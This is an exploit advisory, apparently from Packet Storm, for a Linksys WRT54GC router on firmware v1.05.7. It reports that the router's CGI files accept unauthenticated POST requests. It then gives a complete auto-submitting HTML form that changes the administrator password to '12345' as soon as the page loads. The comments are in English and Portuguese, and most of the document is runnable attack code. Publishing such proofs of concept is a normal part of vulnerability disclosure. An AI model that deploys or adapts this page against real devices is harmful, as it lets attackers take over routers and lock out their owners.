Linksys WRT54GC administration password changing exploit.
da074ee787a2a88af7e64dc05e241325daf3525e32fa2814ce3f2e5dd7e34aac<!--
***************
* Gabriel Lima - gabriel@falandodeseguranca.com
* www.falandodeseguranca.com
***************
(English:)
Linksys WRT54GC - Administration Password Change
The Router WRT54GC doesn't seem to check authentication from the administrator in it's .CGI files, accepting any POST request,
as a password change. Below, follows an example of a form that changes the password and administrator login to '12345'.
Tested on model Linksys WRT54GC - Firmware Version: v1.05.7 - Local and Remote administration
(Português:)
Linksys WRT54GC - Mudança de Senha
O roteador WRT54GC parece não verificar a autenticação do administrador em seus arquivos .CGI, aceitando qualquer envio
de POST como o de mudança de senha. Abaixo, um exemplo de formulário que muda a senha e o login de administrador para 12345.
Testado no modelo Linksys WRT54GC - Firmware Version: v1.05.7 - Administração Local e remota.
Credits:
Gabriel Lima. gabriel@falandodeseguranca.com
-->
<html><body>
<form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data">
<INPUT type="hidden" name="sysPasswd" value="12345" maxLength=20 size=21>
<INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength=20 size=21>
</form>
<!-- Código de envio automático do formulário -->
<SCRIPT language="JavaScript">
document.senha.submit();
</SCRIPT>
</body></html>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed